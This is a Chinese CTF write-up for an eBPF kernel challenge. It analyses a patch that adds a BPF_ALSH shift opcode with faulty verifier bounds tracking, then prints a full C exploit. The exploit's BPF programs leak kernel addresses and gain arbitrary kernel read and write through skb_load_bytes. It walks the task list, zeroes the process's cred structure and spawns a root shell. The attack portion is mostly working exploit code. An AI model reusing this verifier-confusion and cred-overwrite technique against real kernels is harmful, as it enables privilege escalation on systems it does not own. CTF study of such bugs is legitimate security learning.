eebpf


CHECK

run.sh

init

version

逆向分析

diff

diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/arch/x86/net/bpf_jit_comp.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/arch/x86/net/bpf_jit_comp.c
612d611
< case BPF_ALU | BPF_ALSH | BPF_K:
616d614
< case BPF_ALU64 | BPF_ALSH | BPF_K:
626d623
< case BPF_ALSH: b3 = 0xE0; break; /* hex(asm('sal rax, 1')[-1]) = 0xE0 */
638d634
< case BPF_ALU | BPF_ALSH | BPF_X:
642d637
< case BPF_ALU64 | BPF_ALSH | BPF_X:
668d662
< case BPF_ALSH: b3 = 0xE0; break; /* hex(asm('sal rax, 1')[-1]) = 0xE0 */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/linux/tnum.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/linux/tnum.h
34,35d33
< /* Shift (alsh) a tnum left (by a fixed min_shift) */
< struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness);
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/uapi/linux/bpf.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/uapi/linux/bpf.h
27d26
< #define BPF_ALSH 0xe0 /* sign extending arithmetic shift left */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/core.c ./buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/core.c
1149d1148
< INSN_3(ALU, ALSH, X), \
1166d1164
< INSN_3(ALU, ALSH, K), \
1181d1178
< INSN_3(ALU64, ALSH, X), \
1196d1192
< INSN_3(ALU64, ALSH, K), \
1385,1396d1380
< CONT;
< ALU_ALSH_X:
< DST = (u64) (u32) (((s32) DST) << SRC);
< CONT;
< ALU_ALSH_K:
< DST = (u64) (u32) (((s32) DST) << IMM);
< CONT;
< ALU64_ALSH_X:
< (*(s64 *) &DST) <<= SRC;
< CONT;
< ALU64_ALSH_K:
< (*(s64 *) &DST) <<= IMM;
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/disasm.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/disasm.c
80d79
< [BPF_ALSH >> 4] = "s<<=",
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/tnum.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/tnum.c
42,52d41
< struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness)
< {
< if (insn_bitness == 32)
< //Never reach here now.
< return TNUM((u32)(((s32)a.value) << min_shift),
< (u32)(((s32)a.mask) << min_shift));
< else
< return TNUM((s64)a.value << min_shift,
< (s64)a.mask << min_shift);
< }
<
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/verifier.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/verifier.c
4867,4897d4866
< case BPF_ALSH:
< if (umax_val >= insn_bitness) {
< /* Shifts greater than 31 or 63 are undefined.
< * This includes shifts by a negative number.
< */
< mark_reg_unknown(env, regs, insn->dst_reg);
< break;
< }
<
< /* Upon reaching here, src_known is true and
< * umax_val is equal to umin_val.
< */
< if (insn_bitness == 32) {
< //Now we don't support 32bit. Cuz im too lazy.
< mark_reg_unknown(env, regs, insn->dst_reg);
< break;
< } else {
< dst_reg->smin_value <<= umin_val;
< dst_reg->smax_value <<= umin_val;
< }
<
< dst_reg->var_off = tnum_alshift(dst_reg->var_off, umin_val,
< insn_bitness);
<
< /* blow away the dst_reg umin_value/umax_value and rely on
< * dst_reg var_off to refine the result.
< */
< dst_reg->umin_value = 0;
< dst_reg->umax_value = U64_MAX;
< __update_reg_bounds(dst_reg);
< break;
5099c5068
< } else if (opcode > BPF_ALSH) {
---
> } else if (opcode > BPF_END) {
5133c5102
< opcode == BPF_ARSH || opcode == BPF_ALSH) && BPF_SRC(insn->code) == BPF_K) {
---
> opcode == BPF_ARSH) && BPF_SRC(insn->code) == BPF_K) {

学会看diff!!!

相当于增加了一个关于BPF_ALSH的指令?

源代码

https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L5068

https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L5102

JIT部分源代码:

https://elixir.bootlin.com/linux/v5.4.58/source/arch/x86/net/bpf_jit_comp.c

JIT部分

add_1mod:参数为一个寄存器,功能是检查这一个寄存器是否为扩展寄存器,如果是,则修改相应的指令字节;

首先是立即数:

源代码:

case BPF_ALU | BPF_ARSH | BPF_K:
case BPF_ALU64 | BPF_LSH | BPF_K:
case BPF_ALU64 | BPF_RSH | BPF_K:
case BPF_ALU64 | BPF_ARSH | BPF_K:
if (BPF_CLASS(insn->code) == BPF_ALU64)
EMIT1(add_1mod(0x48, dst_reg));
else if (is_ereg(dst_reg))
EMIT1(add_1mod(0x40, dst_reg));

switch (BPF_OP(insn->code)) {
case BPF_LSH: b3 = 0xE0; break;
case BPF_RSH: b3 = 0xE8; break;
case BPF_ARSH: b3 = 0xF8; break;
}

if (imm32 == 1)
EMIT2(0xD1, add_1reg(b3, dst_reg));
else
EMIT3(0xC1, add_1reg(b3, dst_reg), imm32);
break;

patch:

diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/arch/x86/net/bpf_jit_comp.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/arch/x86/net/bpf_jit_comp.c
612d611
< case BPF_ALU | BPF_ALSH | BPF_K:
616d614
< case BPF_ALU64 | BPF_ALSH | BPF_K:
626d623
< case BPF_ALSH: b3 = 0xE0; break; /* hex(asm('sal rax, 1')[-1]) = 0xE0 */
638d634
< case BPF_ALU | BPF_ALSH | BPF_X:

那么BPF_ALSH得到了”\x48\xc1\xe0”+imm,就是sal reg, imm

后边应该就是sal reeg1, reg2就不展开分析了。

veirfier部分

显示定义了一个计算var_off的函数:

返回一个tnum,其value和mask都左移min_shift;

然后看具体的verifier部分:

跟LSH对比,发现这个smin_value/smax_value的处理不太一样;

最后发现确实是这个smin_value/smax_value的处理上出了问题:

假设我们的smin=-9,那么就是0xffff_ffff_ffff_fff7,smax=3,

那么一旦左移60位就会得到smin = 0x7000_0000_0000_0000, smax = 0x3000_0000_0000_0000

再同时右移60位,得到smin = 7,smax = 3 ,最后变成了umin=7,umax=3,可能是笔者没有用arsh的缘故,但是不影响后续利用:

之后我们让r6-= 3, [4, 0], 然后和一个[0, 4]的reg相加,得到实际为0确信为4的r6,之后+4构造错位:实际为4确信为8,然后&4,得到实际为1,确信为0的r6!

动态调试

命令

gdb -ex "target remote localhost:1234" -ex "c"

调试map结构体:

array_map_alloc:

b *(0xffffffff810dbf90) 
gdb -ex "target remote localhost:1234" -ex "b *(0xffffffff810dbf90) " -ex "c"

经过实测发现array的偏移是0xd0:

没有list这个结构,咋办呢?

下面尝试使用sk_buff进行任意地址读写:

本题的符号中没有init_task和init_cred,

攻击成功

final-exp

exp

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#include <linux/bpf.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include "bpf_insn.h"

static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_1, 3),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), //load r6
BPF_JMP_IMM(BPF_JLE, BPF_REG_6, 12, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_JMP_IMM(BPF_JLE, BPF_REG_8, 4, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// r6 <= 12
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 9), // r6 -= 9
BPF_ALU64_IMM(0xe0, BPF_REG_6, 60), // r6 <<= 60
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 60), // r6 >>= 60
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 3), // r6 -= 3 R6 [4, 0]


BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_8), //R6 运行时为0,确信为4
//input r6 == 10, r8 == 2
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 4), //4 8 100, 1000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 4), //运行时为4,确信为0
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0/4),

BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 16), //r7 -> map.array

BPF_LD_MAP_FD(BPF_REG_1, 4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0),

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 24),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 24), //r7 -> map.array

BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x48),
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 32),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

};

struct bpf_insn aar_prog[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1), //r9 保存ctx

BPF_LD_MAP_FD(BPF_REG_1, 3),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), //load r6
BPF_JMP_IMM(BPF_JLE, BPF_REG_6, 12, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_JMP_IMM(BPF_JLE, BPF_REG_8, 4, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// r6 <= 12
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 9), // r6 -= 9
BPF_ALU64_IMM(0xe0, BPF_REG_6, 60), // r6 <<= 60
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 60), // r6 >>= 60
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 3), // r6 -= 3 R6 [4, 0]


BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_8), //R6 运行时为0,确信为4
//input r6 == 10, r8 == 2
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 4), //4 8 100, 1000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 4), //运行时为4,确信为0
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x10/4), //运行时为0x10,确信为0

BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 16), //r7 -> map.array
BPF_MOV64_REG(BPF_REG_8, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8), //r8 -> stack-8
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), //存放一个指针到栈上
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8), //r8 -> stack-16


BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), //ctx
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_8),
BPF_MOV64_IMM(BPF_REG_4, 8),
BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), // args: r1 = ctx, r2 = 0, r3 = fp -8, r4 = 10 [verifier 8]

BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 8), //r8 -> stack-8
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0), //取出篡改的指针
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0), //从目标地址取出内容
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_2, 0), //存到value[4]返回


BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

};

struct bpf_insn aaw_prog[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1), //r9 保存ctx

BPF_LD_MAP_FD(BPF_REG_1, 3),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value
/* if success, r0 will be ptr to value, 0 for failed */
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), //load r6
BPF_JMP_IMM(BPF_JLE, BPF_REG_6, 12, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_JMP_IMM(BPF_JLE, BPF_REG_8, 4, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// r6 <= 12
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 9), // r6 -= 9
BPF_ALU64_IMM(0xe0, BPF_REG_6, 60), // r6 <<= 60
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 60), // r6 >>= 60
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 3), // r6 -= 3 R6 [4, 0]


BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_8), //R6 运行时为0,确信为4
//input r6 == 10, r8 == 2
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 4), //4 8 100, 1000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 4), //运行时为4,确信为0
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x10/4), //运行时为0x10,确信为0

BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 16), //r7 -> map.array
BPF_MOV64_REG(BPF_REG_8, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8), //r8 -> stack-8
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), //存放一个指针到栈上
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -8), //r8 -> stack-16


BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), //ctx
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_8),
BPF_MOV64_IMM(BPF_REG_4, 8),
BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), // args: r1 = ctx, r2 = 0, r3 = fp -8, r4 = 10 [verifier 8]

BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0), //val
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 8), //r8 -> stack-8
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0), //取出篡改的指针
BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),

BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_3, 0),



BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

};

#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };

int sockets[2];
int map_fd1;
int map_fd2;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;

union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &prog,
.insn_cnt = sizeof(prog) / sizeof(prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_get_elem(int map_fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};

// 使用 BPF_MAP_LOOKUP_ELEM 获取 map 中的元素
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

size_t ker_offset;

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

int map_fd, expmap_fd;

int first_aar;
size_t aar(size_t addr){
size_t key = 0;
size_t value[0x1000];

if(first_aar) goto LABEL_AAR;
first_aar = 1;

attr.insns = (uint64_t) &aar_prog;
attr.insn_cnt = sizeof(aar_prog) / sizeof(aar_prog[0]),
prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) {
puts(bpf_log_buf);
perror("BPF_PROG_LOAD");
getchar();
}
//printf("prog_fd == %d\n", prog_fd);
//puts(bpf_log_buf);

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()");

if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF");

LABEL_AAR:
value[0] = 10;
value[1] = 2;
bpf_map_update_elem(map_fd, &key, value, BPF_ANY);

size_t data[0x1000];
data[0] = 0LL;
data[1] = addr;
write(sockets[0], data, 0x100);

bpf_map_get_elem(map_fd, &key, value);
//printf("aar : %p\n", (void *)value[0]);

return value[0];



}

int first_aaw;
void aaw(size_t addr, size_t val){
size_t key = 0;
size_t value[0x1000];

if(first_aaw) goto LABEL_AAW;
first_aaw = 1;

attr.insns = (uint64_t) &aaw_prog;
attr.insn_cnt = sizeof(aaw_prog) / sizeof(aaw_prog[0]),
prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) {
puts(bpf_log_buf);
perror("BPF_PROG_LOAD");
getchar();
}
//printf("prog_fd == %d\n", prog_fd);
//puts(bpf_log_buf);

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()");

if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF");

LABEL_AAW:
value[0] = 10;
value[1] = 2;
bpf_map_update_elem(map_fd, &key, value, BPF_ANY);

size_t data[0x1000];
data[0] = val;
data[1] = addr;
write(sockets[0], data, 0x100);
bpf_map_get_elem(map_fd, &key, value);


}


size_t init_task;
size_t comm_off, cred_off, task_off;
#include <sys/prctl.h>
void aar_aaw(){
if(prctl(PR_SET_NAME, "QianYiming", NULL, NULL, NULL) < 0){
perror("prctl set name");
}
size_t task = init_task+task_off;
size_t my_task = -1;
while(task){
task = aar(task);
size_t name = aar(task-task_off+comm_off);
//printf("task == %p\n", (void *)task);
//puts(&name);
if(!memcmp(&name, "QianYiming", 8)){
my_task = task-task_off;
break;
}


}
printf("my_task == %p\n", (void *)my_task);
size_t my_cred = aar(my_task+cred_off);
printf("my_cred == %p\n", (void *)my_cred);

for(int i = 0; i <= 0x28; i += 8){
aaw(my_cred+i, 0LL);
}

system("/bin/sh");
}

int main(){

save_status();
bindCore(0);


map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");

expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (expmap_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");

prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) {
puts(bpf_log_buf);
perror("BPF_PROG_LOAD");
}
printf("prog_fd == %d\n", prog_fd);
//puts(bpf_log_buf);

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()");

if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF");


size_t key = 0;
size_t value[0x1000];
value[0] = 10;
value[1] = 2;
bpf_map_update_elem(map_fd, &key, value, BPF_ANY);
char s[0x1000];
write(sockets[0], s, 0x100);

value[2] = 0xffff;
bpf_map_get_elem(map_fd, &key, value);
//printf("r6 == %p\n", (void *)value[2]);
//printf("r9 == %p\n", (void *)value[3]);
//printf("r9 == %p\n", (void *)value[4]);

ker_offset = value[3] - 0xffffffff81a0dec0;
printf("ker_offset == %p\n", (void *)ker_offset);
size_t page_base_offset = value[4] & 0xfffffffff0000000;
printf("page_base_offset == %p\n", (void *)page_base_offset);
init_task = ker_offset + 0xFFFFFFFF81C114C0;
size_t init_cred = ker_offset + 0xffffffff81c2e140;
printf("init_task == %p\n", (void *)init_task);
/*
tasks 0x260
cred 0x4f8
comm 0x508
*/
comm_off = 0x508;
task_off = 0x260;
cred_off = 0x4f8;

aar(value[3]);

printf("%p\n", (void *)aar(page_base_offset));

aar_aaw();
puts("end");
getchar();
return 0;





}



bpf_insn.h:

/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H

struct bpf_insn;

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

#define BPF_ALU32_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })

#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)


/* Direct packet access, R0 = *(uint *) (skb->data + imm32) */

#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/*
* Atomic operations:
*
* BPF_ADD *(uint *) (dst_reg + off16) += src_reg
* BPF_AND *(uint *) (dst_reg + off16) &= src_reg
* BPF_OR *(uint *) (dst_reg + off16) |= src_reg
* BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg
* BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg);
* BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg);
* BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg);
* BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg);
* BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg)
* BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg)
*/

#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = OP })

/* Legacy alias */
